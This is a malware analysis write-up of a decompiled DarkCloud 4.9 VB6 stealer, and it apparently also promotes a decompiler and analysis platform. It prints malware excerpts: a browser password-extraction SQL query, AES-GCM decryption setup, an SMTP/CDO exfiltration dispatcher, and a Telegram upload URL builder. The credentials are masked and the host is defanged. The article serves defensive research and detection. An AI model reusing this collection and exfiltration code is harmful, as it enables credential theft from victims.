DarkCloud 4.9 Decompiled with VBReFormer Gen 2 (7.x)
A Visual Basic 6 executable can hold data-theft logic, several exfiltration transports and a readable configuration, and still resist interpretation by a plain strings extractor. The interesting values are scattered across VB metadata, Unicode strings, procedure arguments and runtime calls.
This study examines a sample that identifies itself as DarkCloud 4.9, starting from its binary and from the code reconstructed with VBReFormer Gen 2, generation 7.x. The goal is a malware analyst’s: understand which data is sought, follow its preparation and establish which exfiltration transport is configured.
The result goes beyond a list of strings: the analysis distinguishes one enabled SMTP transport from three FTP, HTTP and Telegram branches disabled in this build. It also recovers the SMTP server, the accounts, the password, the port, the SSL setting, the authentication mode and the staging directory.
The sample was never executed. Decompilation, YARA checks and extraction operated on its bytes only. Conclusions about functionality therefore describe the code and its static configuration, without claiming a network observation or a successful run.
To follow the analysis, open the configuration procedure in the VBReFormer demonstration, Module7.proc_46CD10. The Form1 form can also be browsed.
This study accompanies the announcement of VB5/VB6 executable support in Malva.RE. It sits alongside two features already presented on this site: VBA decompilation and VBA Stomping detection for Office documents, and configuration extraction for the families already supported.
1. The sample and the scope of the study
| Property | Observation |
|---|---|
| SHA-256 | 367383cfaa2ffc1404ba4ac1364a96992d78e036a0a67c994fbd6686f636474e |
| Size | 471,040 bytes, i.e. 460 KiB |
| Format | x86 PE executable |
| Imported runtime | MSVBVM60.DLL |
| Observed sections | .text, .data, .rsrc |
| Compilation recognized by VBReFormer | Native code |
| Internal marker | Agent: DARKCLOUD V4.9 |
| Program execution | None |
Version 4.9 comes from an internal string of the program. It is an identification element, not a guarantee that the claimed version is genuine.
The MSVBVM60.DLL import gives a first indication about the runtime. It is not an inventory of the APIs in use: VB declarations and late-bound calls can bring in operations that a reading limited to the PE import table would miss.
This study covers one native VB6 sample. VBReFormer Gen 2 (7.x) also makes it possible to approach VB5/VB6 executables compiled to P-code. The compilation form of each file still has to be identified: conclusions established on this native program do not automatically describe another sample.
2. Why VB5/VB6 decompilation needs dedicated handling
Classic VB5/VB6, VBA and VB.NET share part of their syntax, but not their execution format.
| Technology | What there is to analyze |
|---|---|
| VBA | Embedded project, macro streams and an Office-specific compiled representation |
| VB.NET | .NET assembly, CLR metadata and IL code |
| Native VB5/VB6 | x86 PE, VB metadata, machine instructions and runtime conventions |
| P-code VB5/VB6 | VB metadata and instructions for the VB virtual machine |
In a native VB6 program, the x86 disassembly has to be matched against the project structures, the objects and the runtime conventions in order to rebuild readable procedures. BSTR strings, VARIANT values and late-bound COM calls account for a large part of the gap between a sequence of instructions and a high-level operation.
The historical VB5! signature is a structural clue, not proof that the program was compiled with VB5: it can also be found in a VB6 executable. The analyst has to relate it to the PE format, the runtime references and the other project information.
The output remains a reconstruction. Local names, original comments and some project information cannot be recovered as if they had been stored in full in the executable. Names such as proc_46CD10 or g_471034 make it possible to navigate the analysis; they must not be presented as the original names chosen by the author.
3. YARA: a hunting entry point, then a dedicated analysis
The Hunt_DarkCloud_Stealer_Variants rule was published by Evelyne Diaz Araque at Stairwell on August 21, 2025. It targets DarkCloud and artifacts with similar capabilities; its hunting purpose requires corroborating a match with other elements of the file. Rule and context published by Stairwell.
It offers three ways to match: at least six indicators from the $s* group; one marker from the $d* group together with at least three $t* strings; or at least four $c* indicators.
The test, run with YARA 4.1.1 without altering the strings, their modifiers or the condition, gives:
| Group | Indicators present | Associated condition | Result |
|---|---|---|---|
$s* | 14 / 14 | At least 6 | Satisfied |
$d* | 0 / 6 | At least 1, together with $t* | Not satisfied |
$t* | 0 / 6 | At least 3, together with $d* | Not satisfied |
$c* | 0 / 6 | At least 4 | Not satisfied |
The three conditions are alternatives: the absence of matches in the other groups does not cancel the match obtained with the fourteen $s* indicators.
Encodings matter. A string present in UTF-16LE is not necessarily recognized by an ascii search. Likewise, fullword enforces a word boundary: widening a rule by removing its modifiers would change its reach. Interpreting a match has to respect these distinctions.
For the analyst, the match is a starting point. The version marker, the VB6 references, the collection routines and the exfiltration procedure then provide corroborating elements that are independent of the YARA result alone.
4. What VBReFormer reconstructed
The project export contains the following files:
| File | Role in the export |
|---|---|
Project1.vbp | Reconstructed description of the VB project |
Form1.frm | Form, properties and event handlers |
Form1.frx | Binary resources attached to the form |
Module1.bas | Credential collection and processing routines |
Module2.bas | Initialization, staging, utilities and cryptographic processing |
Module3.bas | Contact collection and preparation |
Module5.bas | Routines reading mail client data |
Module7.bas | Exfiltration routing and transport implementations |
| Export companion files | Reading aids for the reconstructed project and flagging of non-recovered elements |
EXPORT-NOTES.txt | Diagnostics and non-recovered information |
That is 11 files, eight of which are code views. Those eight views are five application modules, one form and two generated helper modules: they must not be mistaken for eight original malware modules.
The value of this export is to make the routines browsable in context: the form events lead to the initialization, the collection modules prepare files and the transport module receives the values needed for sending.
In the excerpts below, procedures keep the names from the export. Cuts are announced; sensitive identifiers are masked.
5. From the invisible form to the collection
5.1. The form entry point
The Form1.frm file contains a form whose initial properties include Visible = 0 and ShowInTaskbar = 0. The presence of a VB form therefore does not imply an immediately visible interface.
Its load event leads to the initialization:
Private Sub Form_Load()
On Error Resume Next
Module2.proc_45E960
End Sub
Excerpt from Form1.frm, procedure Form_Load, unmodified.
The On Error Resume Next error handling is preserved in the reconstructed code. Its presence does not allow one to conclude that the following operations succeed: it can also hide their failures.

Form1 in VBReFormer Online: the project tree exposes Form_Load and the five timers; the source shows Form_Load, which starts the initialization, and Timer5_Timer, which walks the staging directory by label. Unretouched capture.
5.2. A user-dependent staging directory
The Module2.proc_45E960 procedure builds this path:
g_471034 = CStr(((((Environ("AppData") + "\Microsoft\Windows\Templates\") + Environ("COMPUTERNAME")) & "-") & Environ("USERNAME")))
Line extracted from Module2.bas, procedure proc_45E960.
The symbolic representation useful to the report is:
%AppData%\Microsoft\Windows\Templates\%COMPUTERNAME%-%USERNAME%
To document the behavior, these variables must be kept in symbolic form. The concrete path depends on the user and the machine on which the malware would run. Replacing it with the analysis workstation’s profile would lose that distinction.
The initialization also looks for winsqlite3.dll and provides a fallback branch involving vbsqlite3.dll and a Picture2 resource. The reconstructed staging path must be distinguished from the absolute library paths present in other VB declarations.
Finally, two visible calls connect the initialization to the collection routines:
Module1.proc_4452A0
Module3.proc_468300
Two lines selected from Module2.proc_45E960.
5.3. Browser credentials: SQLite and cryptographic primitives
In Module1.bas, the reconstructed strings and operations refer in particular to the Login Data and Web Data databases. The following query makes the target of one routine explicit:
ErrStr = "SELECT origin_url, username_value, password_value FROM logins"
Line extracted from Module1.proc_44B7E0.
The code also contains the reading of Local State and of the os_crypt / encrypted_key fields. Other routines call CryptUnprotectData and the CNG APIs, including BCryptOpenAlgorithmProvider, BCryptSetProperty and BCryptDecrypt.
The excerpt below shows the AES-GCM parameters visible when the processing is initialized:
If BCryptOpenAlgorithmProvider(var_5C, VarPtr("AES"), 0, 0) < 0 Then
ElseIf BCryptSetProperty(var_5C, VarPtr("ChainingMode"), VarPtr("ChainingModeGCM"), 32, 0) < 0 Then
ElseIf BCryptGenerateSymmetricKey(var_5C, var_14, 0, 0, VarPtr(arg_8(0)), (UBound(arg_8, 1) + 1), 0) < 0 Then
Else
' Rest of the procedure omitted from this excerpt.
End If
Abridged excerpt from Module2.proc_45DBF0; the cut comment is editorial.
These observations establish that reading and decryption paths exist in the program. They do not demonstrate that the sample could recover every secret from every browser version. DPAPI generally depends on the protection context, notably the user and the machine; analyzing the malware did not involve decrypting victim data. Microsoft documentation for CryptUnprotectData.
5.4. Contacts and files prepared for sending
Module3.proc_468300 calls routines from Module5, then prepares files whose prefixes include:
Contacts_Thunderbird_;Contacts_163MailContacts_;Contacts_EMClient10Contacts_.
A contact-collection branch follows this sequence:
g_471064 = Module5.proc_4696A0()
If g_471064 <> vbNullString Then
' Path construction and result writing omitted.
Module7.proc_46CD10 var_28, var_2C
Sleep 1000
End If
Abridged excerpt from Module3.proc_468300. The intermediate lines were replaced by an editorial comment.
The exfiltration procedure thus receives a label and a file path. The non-empty string condition matters: the code prepares the sending when a collection routine returned a result.
5.5. A timer also schedules file searches
Form1.Timer5_Timer increments a counter, then calls a routine with the labels Cookies, Contacts, Screenshot and KeyData before resetting the counter to zero.
Two misreadings should be avoided. A threshold of 1000 events is not a demonstrated period of 1000 ms. Event delivery depends on how timers and the message loop behave; Windows also constrains timing. Microsoft documentation for SetTimer.
Next, these labels are not enough to prove that every file-producing mechanism works in this build. Module2.proc_45E510 walks the names present in the staging directory and calls the dispatcher for those matching the requested label. It is a file selection and sending mechanism, not by itself proof of a working keylogger or screen capture.
6. The configuration is read in the exfiltration dispatcher
The central procedure is Module7.proc_46CD10. Its code contains four branches, but their constant conditions determine which ones are enabled.
The behavior can be checked in the public view of this configuration procedure.

VBReFormer Online demonstration, Module7.proc_46CD10, lines 15 to 30: the disabled FTP branch with its markers, then the enabled SMTP branch. Capture retouched before publication: the four variables whose name embedded a credential are renamed sValeurMasquee1 to sValeurMasquee4, their values replaced with <masqué>, the host defanged. The rest of the display is unchanged.
The following fragment keeps the structure of the dispatcher. SMTP variables whose names revealed identifiers were renamed; the accounts, the server and the password were replaced with redaction markers. The var_38 and var_4C parameters and the procedure names are preserved.
If 0 = -1 Then
sStrFtpPass = "@StrFtpPass"
sStrFtpUser = "@StrFtpUser"
sStrFtpServer = "@StrFtpServer"
proc_46CD10 = Module7.proc_46EEA0(sStrFtpServer, sStrFtpUser, sStrFtpPass, arg_C)
End If
If -1 = -1 Then
var_38 = 0
var_4C = 587
smtpPassword = "<REDACTED_PASSWORD>"
smtpUsername = "<REDACTED_SMTP_ACCOUNT>"
smtpServer = "<SMTP_HOST>"
smtpRecipient = "<REDACTED_RECIPIENT>"
proc_46CD10 = Module7.proc_46DBA0(smtpRecipient, smtpServer, smtpUsername, smtpPassword, arg_8, arg_C, var_4C, var_38)
End If
If 0 = -1 Then
sGateUrl = "@GateUrl"
proc_46CD10 = Module7.proc_46CFF0(arg_8, arg_C, sGateUrl)
End If
If 0 = -1 Then
sChatID = "@ChatID"
sStrBotToken = "@StrBotToken"
proc_46CD10 = Module7.proc_46E5A0(sStrBotToken, sChatID, arg_8, arg_C)
End If
In VB, the usual Boolean values are False = 0 and True = -1. Here the comparisons have a constant result: 0 = -1 is false, while -1 = -1 is true. These representations are consistent with the VARIANT_BOOL conventions documented by Microsoft. VARIANT types and associated constants.
| Transport | Dispatcher condition | State for this build | Observed values |
|---|---|---|---|
| FTP | 0 = -1 | Disabled | Builder markers |
| SMTP | -1 = -1 | Enabled | Populated parameters |
| HTTP | 0 = -1 | Disabled | @GateUrl |
| Telegram | 0 = -1 | Disabled | @StrBotToken and @ChatID |
The structure and the markers are consistent with an agent produced by a builder offering several output modes. This is an inference from the code: it requires neither access to the builder nor the assumption that all these modes are used at the same time.
7. SMTP: what the source reveals and what the binary completes
7.1. Carrying the arguments to the CDO processing
The dispatcher passes eight arguments to proc_46DBA0. Their use inside the procedure ties the recovered values to their roles: recipient, server, sender and authentication account, password, subject, file, port and SSL setting.
A few lines of the procedure make the intent readable:
var_40.To = arg_8
var_40.Subject = arg_18
var_40.TextBody = ""
Set var_2C = var_40.Configuration
var_2C.fields("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
var_2C.fields("http://schemas.microsoft.com/cdo/configuration/sendusername") = arg_10
var_2C.fields.Update
var_40.send
Selected lines from Module7.proc_46DBA0; the intermediate instructions are not shown.

Module7.proc_46DBA0 in VBReFormer Online: CDO configuration, unreconstructed late-bound calls flagged as comments, subject built from COMPUTERNAME and USERNAME. Sensitive values only appear there as arguments. Unretouched capture.
In the enabled branch of this build, the sending mechanism uses a mail configuration. The SMTP account, the sender and the recipient have distinct roles, even though two fields carry the same value here. Merging them into a plain list of addresses would lose the meaning of the procedure.
7.2. Not inventing an unreconstructed COM call
For some CDO settings, the export flags a limit:
' [runtime non reconstruit] __vbaLateCallSt var_2C, &H44465C&, 1, 1
Comment actually present in Module7.proc_46DBA0. The French wording (“runtime not reconstructed”) is the engine’s own diagnostic, quoted verbatim.
This comment is an invitation to go back to the disassembly. The analyst has to establish which field is set and with what type of value before translating this call into a high-level assignment. The proximity of a password, by itself, does not settle that question.
Near the reference to http://schemas.microsoft.com/cdo/configuration/smtpauthenticate, the disassembly reads in particular:
0046e1b3 mov eax, 0x444670
0046e1b8 mov dword ptr [ebp - 0xdc], eax
0046e1be mov ecx, 8
0046e1c3 mov dword ptr [ebp - 0xe4], ecx
0046e1c9 mov dword ptr [ebp - 0xfc], 1
0046e1d3 mov dword ptr [ebp - 0x104], 2
Instructions extracted from the reference binary. In this file, 0x444670 designates the CDO field string; these addresses are not universal DarkCloud constants.

Assembler view of the same procedure in VBReFormer Online: the __vbaVarLateMemCallSt call (line 432), then the 0x444670 string and the VARIANT of type 2, value 1 (lines 433 to 438). Unretouched capture.
The pair carrying type 2 and value 1 corresponds to a numeric VT_I2 VARIANT holding 1. Type 8 designates a BSTR. This reading of the types is supported by the VARENUM documentation.
For CDO, smtpauthenticate=1 corresponds to the cdoBasic mode. The value is recovered from the binary; it is not inferred from the mere presence of a password. Microsoft CdoProtocolsAuthentication enumeration.
This reading ties together three observations from the malware: a reference to the CDO field name, the preparation of a BSTR string and a numeric value passed to the operation. It provides a verifiable justification for the authentication setting. On another file, the addresses and the layout of the instructions will have to be examined again.
7.3. The recovered configuration
| Field | Published result |
|---|---|
| Transport | SMTP enabled |
| Server | mail[.]mokasco[.]com, defanged form |
| Port | 587 |
| SMTP account | Present in clear text in the file; masked here |
| Sender | Same value as the account in this routine; masked |
| Recipient | Present in clear text; masked |
| Password | Present in clear text; masked |
| SSL setting | false |
| Authentication | 1, corresponding to cdoBasic |
The host is a value extracted from the binary, not a statement about its current activity or about the identity of the malware author. A configured domain name does not attribute the operation to its owner.
Likewise, UseSsl=false and port 587 describe static parameters. Without execution or network capture, we observed neither an actual negotiation, nor a successful authentication, nor the reception of a message. The article therefore does not present a network exchange as if it had been measured.
8. Transports present but disabled
The other procedures remain useful to understand the program and to relate variants to one another.

Same procedure, lines 32 to 40: the HTTP and Telegram branches, disabled by 0 = -1, with their @GateUrl, @ChatID and @StrBotToken markers. Unretouched capture.
The FTP path uses InternetOpenA and InternetConnectA with port 21, then FtpPutFileA. Its presence explains the @StrFtpServer, @StrFtpUser and @StrFtpPass markers. In this dispatcher, the branch is false and the parameters stayed as markers.
The HTTP path builds a URL from a gateway and an ?id= parameter, then uses WinINet calls to send. @GateUrl is a placeholder to be replaced, not an operational URL.
The Telegram procedure contains a recognizable construction:
var_28 = ((((("https://api.telegram.org/bot" & arg_8) & "/sendDocument?chat_id=") & arg_C) & "&caption=") & arg_10)
Line extracted from Module7.proc_46E5A0.

Module7.proc_46E5A0 in VBReFormer Online: the Telegram route exists in the code, but the dispatcher never calls it in this build. Unretouched capture.
It is associated with a multipart upload. However, the @StrBotToken and @ChatID values were not replaced in the configuration under study, and the dispatcher call is disabled. The existence of this string therefore does not justify classifying api.telegram.org as the active exfiltration infrastructure of this sample.
The end of the dispatcher also contains:
If proc_46CD10 = -1 Then
Kill arg_C
End If
Excerpt from Module7.proc_46CD10.
The code expresses the deletion of the file passed as an argument after a positive transport result. It does not demonstrate self-deletion of the executable: here arg_C is the file to transmit.
9. Establishing the configuration from the role of the values
A strings search can recover a domain, e-mail addresses, a password and builder markers. The reverse engineering work consists in tying these values to a precise branch and a precise operation.
In this case, the call to Module7.proc_46DBA0 provides a concrete reading grid:
| Procedure parameter | Role established by its use |
|---|---|
arg_8 | Recipient of the message |
arg_C | SMTP server |
arg_10 | SMTP account, also used as the sender value |
arg_14 | Password passed to the sending configuration |
arg_18 | Label used in the subject |
arg_1C | Path of the file to attach |
arg_20 | SMTP port |
arg_24 | Value of the SSL setting |
This distinction explains why an authentication account is not necessarily the recipient of the data. It also makes it possible to separate the fixed parameters of this build, such as the server and the port, from the information assembled at collection time, such as the subject and the file path.
The following configuration is an anonymized analysis summary, with a defanged host. It is not the description of a software interface:
{
"family": "DarkCloud",
"declared_version": "4.9",
"analysis": "static",
"staging_directory": "%AppData%\\Microsoft\\Windows\\Templates\\%COMPUTERNAME%-%USERNAME%",
"transports": {
"smtp": {
"enabled": true,
"server_defanged": "mail[.]mokasco[.]com",
"port": 587,
"username": "<REDACTED>",
"sender": "<REDACTED>",
"recipient": "<REDACTED>",
"password": "<REDACTED>",
"use_ssl": false,
"authentication": 1
},
"ftp": { "enabled": false },
"http": { "enabled": false },
"telegram": { "enabled": false }
}
}
Populated values, environment-dependent expressions, unreplaced markers and still undetermined elements must be kept separate. An established transport configuration does not mean that the whole logic of the malware is known.
10. Why VB6 is particularly hard to decompile
10.1. The runtime hides part of the meaning
An x86 disassembly shows instructions, addresses and calls. In a VB6 program, part of their meaning depends on the runtime’s conventions: type conversion, value construction, object handling, string management and member calls.
The __vbaLateCallSt comment met in the SMTP procedure illustrates this problem. The name of the runtime primitive does not by itself reveal that a CDO property configures an authentication. The targeted object, the property and the arguments have to be identified.
For DarkCloud, this difficulty has a direct effect on the analysis: a misreading can turn a sending setting into an unknown value, or assign to one parameter the role of its neighbor. Understanding the VB6 runtime is therefore necessary to account for the collection and exfiltration operations.
10.2. An address is not enough to know the type of a datum
In x86, an integer, a pointer, a handle and a reference to a datum can occupy slots of the same size. Their interpretation depends on the context.
VB6 adds its own conventions. A BSTR represents a string with an associated length; a VARIANT carries a type and a value; a byte array does not read like a zero-terminated string. The CStr and StrConv conversions or the VarPtr uses observed in DarkCloud move data between these representations.
In the cryptographic routines, the analyst must thus distinguish the reference to a buffer, its size and the result of the operation. In the SMTP transport, they must distinguish a Boolean represented by 0 or -1 from a numeric value such as port 587 or authentication mode 1. The disassembly of the VARIANT value shown above explains why this distinction is decisive.
10.3. The PE entry point is not the whole logic of the program
A reading centered on the executable’s entry point alone does not fully describe an event-driven program. The loading of a form and the events of its controls can lead to important procedures.
In this sample, Form_Load triggers the initialization, while Timer5_Timer organizes a recurring selection of files. The properties of Form1 also indicate a form that is initially invisible and absent from the taskbar.
Objects and resources are therefore not incidental to the analysis. The reference to Picture2 in a SQLite-related fallback branch also justifies examining the form’s resources, even though no graphical display is needed for the collection.
10.4. Native and P-code are two different problems
The term “VB6 program” is not enough to choose a reading method. A native compilation leads to x86 instructions; a P-code compilation calls for a reading of the VB virtual machine’s instructions.
In both cases, the analyst looks for the same answers: which data is targeted, how it is transformed and which destination is used. The path to the answers differs. This is why merely recognizing the runtime does not replace identifying the compilation form and examining the corresponding code.
10.5. A readable reconstruction remains a piece to interpret
Original local names and comments do not reappear automatically from an executable. Working names are necessary to make the result navigable. Some expressions or structures can also remain incomplete.
The right reading consists in starting from a procedure, following its calls, noting the significant arguments and going back to the binary when an important conclusion is not sufficiently supported. DarkCloud’s CDO setting is an example of this approach: the reconstructed text locates the operation, and the native instructions bring an additional element of proof.
11. What VBReFormer Gen 2, 7.x versions, brings
11.1. Finding the program behind the instructions
For this type of study, the use of VBReFormer Gen 2 (7.x) is indispensable to the approach presented: it gives access to a representation of the program in which the forms, the procedures and their calls can be studied together.
In DarkCloud, this makes it possible to move from Form1 to Module2.proc_45E960, then from the collection routines to Module7.proc_46CD10. The question “where does the data go?” is then handled from an identifiable procedure, its conditions and its arguments.
The contribution is particularly visible in the dispatcher: four transports appear in the file, but reading the constant comparisons establishes that only one is enabled for this build. The list of strings, by itself, would have kept four hypotheses.

Overview of the demonstration: the reconstructed project tree, modules, Module7 procedures, resources and structures, and the source of proc_46CD10. Retouched capture: credentials masked as above.
11.2. Working on recognizable procedures and objects
The Gen 2 generation, in the 7.x range, is considered here through the results useful to the reverse engineer: browsing the reconstructed code, navigating the project, reading the forms and their resources, and confronting them with the low-level views.
The DarkCloud case provides several concrete criteria to judge this contribution:
| Analysis question | Code element that answers it |
|---|---|
| Which event launches the initialization? | Form1.Form_Load |
| Where are the results prepared? | Construction of g_471034 in Module2 |
| Which kinds of data are sought? | SQLite queries, profile paths and contact routines |
| Which transport is selected? | Conditions of Module7.proc_46CD10 |
| What do the accounts found correspond to? | Use of the arguments in the SMTP procedure |
| What becomes of the file after a positive result? | Kill arg_C in the dispatcher |
These answers make a well-argued analysis of the malware possible. They also make it possible to share a finding with another analyst by pointing to a procedure and an instruction, rather than to an interpretation without context.
11.3. Understanding the logic, not just extracting literals
The presence of api.telegram.org in the file legitimately draws attention. The reconstructed code nevertheless shows unreplaced markers and a false condition for that branch. Conversely, the SMTP values are used in a true branch and passed to a sending procedure.
This is where VBReFormer Gen 2 (7.x) brings an essential value: relating the data to the logic that uses it. A key, an account, a URL or a file name take their meaning from their position in the program.
The scope of this study remains precise: the excerpts demonstrate an analysis of one native VB6 DarkCloud. They are neither a quantified comparison with earlier generations of the software, nor a guarantee of complete restitution of every VB5/VB6 executable.
12. What DarkCloud reveals beyond its configuration
12.1. A collection agent organized around files
The contact routines and the file selector both lead to Module7.proc_46CD10. The transport receives a label and a path, while the collection prepares the data upstream.
This organization explains the place of the staging directory. It makes it possible to relate the Contacts_Thunderbird_ file names or the Cookies and KeyData selections to one and the same output function, without confusing the routines that produce the data with those that transmit it.
The label also contributes to the presentation of the message. In one branch of the SMTP procedure, the subject combines this label, COMPUTERNAME, USERNAME and an additional global value. The code indicates an intent to associate the results with their environment of origin; the exact role of the last value must not be invented.
12.2. Three cryptographic questions not to be confused
The AES-GCM and DPAPI calls do not mean that the SMTP configuration is encrypted. Three different subjects appear in this study:
| Subject | Observation in the sample |
|---|---|
| Protection of the targeted secrets | Routines involving the decryption APIs and the profile data |
| Storage of the exfiltration parameters | SMTP accounts and password present in clear text in this file |
| Protection of the network transport | SSL setting disabled in the configuration; actual exchange not observed |
An analysis that concluded “AES-encrypted configuration” from the mere presence of BCryptDecrypt would therefore miss the role of these procedures. The inputs and outputs of each routine have to be followed to determine which data it processes.
12.3. Build choices preserved in the binary
The four transport branches and the remaining markers are useful for comparing samples. Another build could populate the Telegram channel or the HTTP gateway while keeping a large part of the collection code.
This possibility justifies separating family characteristics from the configuration of an instance. The name of a transport met in a file, the presence of its code and its actual activation are three different observations.
The SMTP server of this case is thus an indicator specific to the configuration examined. It must not become an indispensable condition for recognizing the whole DarkCloud family.
12.4. Deleting the file is not a delivery receipt
The dispatcher plans to delete arg_C when the transport has returned a positive result. That result expresses the path intended by the program; it does not replace the observation of an actual delivery to the destination.
Likewise, deleting the file to transmit does not mean erasing the executable or every local trace. The object concerned must be identified by the role of the parameter, not merely by the presence of the Kill instruction.
12.5. The limits of this static finding
The elements established are the version marker, the routines present, the dispatcher’s arguments and the parameters of the SMTP branch. The study involves neither a connection to the extracted infrastructure, nor a trial of the credentials, nor the sending of a message.
Fragments of the reconstructed code remain incomplete. A value or an operation that was not recovered must remain an open question until it is settled by verifiable elements of the file.
Finally, the names Screenshot and KeyData describe here categories of files sought by a routine. To conclude that a screen capture or a keylogger is functional, the producing procedures, their call conditions and their effects would have to be established. This distinction avoids attributing to the build every function evoked by its strings.
13. Research points for analysts
The value of this case lies in the combination of the clues and of their roles.
| Element | Usefulness and caution |
|---|---|
| File SHA-256 | Identifies exactly the sample studied |
Agent: DARKCLOUD V4.9 | Internal marker corroborating the family analysis |
mail[.]mokasco[.]com | Configured SMTP host; no conclusion about its current status |
Customized Microsoft\Windows\Templates path | Staging clue to correlate with other observations |
vbsqlite3.dll and SQLite references | Clues of data reading; not proof of malice in isolation |
@GateUrl, @StrBotToken, @ChatID | Builder markers; not operational network IOCs |
To look for related behaviors, an analyst can correlate an unexpected VB6 program, access to profile databases, the creation of staging files and SMTP communications. None of these characteristics, taken alone, is exclusive to DarkCloud.
Crypto API names, CDO schemas and legitimate service domains must not automatically become malicious IOCs. The state of the branch, the effective value of the parameters and their provenance provide the necessary context.
14. Exploring the case
The Module7.proc_46CD10 configuration view lets you follow the four transport branches and the difference between populated parameters and builder markers.
The Form1 view lets you start from the form events and work back to the initialization and the collection routines.
The Malva.RE report for this sample presents the reconstructed sources and the configuration read in the code, as they appear to the analyst. It is the most direct starting point to redo the reading proposed here.
The DarkCloud Stealer family page on Malva.RE gathers all the samples of this family analyzed by the platform. It makes it possible to compare the configuration read here with that of other builds and to check, case by case, which transport is actually enabled.
For an analyst reading a Malva.RE report, the value of having access to the decompilation is being able to confront the results with the behavior described by the procedures. The decisive point remains traceability: which routine collects the data, which condition allows the sending and which arguments designate its destination.
References
- VBReFormer: configuration of the DarkCloud case,
Module7.proc_46CD10. - VBReFormer:
Form1form of the DarkCloud case. - Decompiler-VB.net: DarkCloud, how Malva.RE extracts a VB6 stealer’s configuration with VBReFormer. The VBReFormer Online screenshots in sections 5, 7 and 8 come from that article.
- Evelyne Diaz Araque, Stairwell: A YARA Rule for Threat Hunting DarkCloud Stealer.
- Microsoft:
VARENUMtypes and constants. - Microsoft:
CdoProtocolsAuthentication. - Microsoft:
CryptUnprotectData. - Microsoft:
SetTimer.
Try Malva.RE on a real malware sample
Fast and accurate malware configuration extraction
- Static analysis in under 10 seconds
- VBA, PowerShell and AutoIt deobfuscation (paid plans)
- Reports designed for SOC and malware analysts
Free plan: submissions and reports are public. Private from the Essential plan.
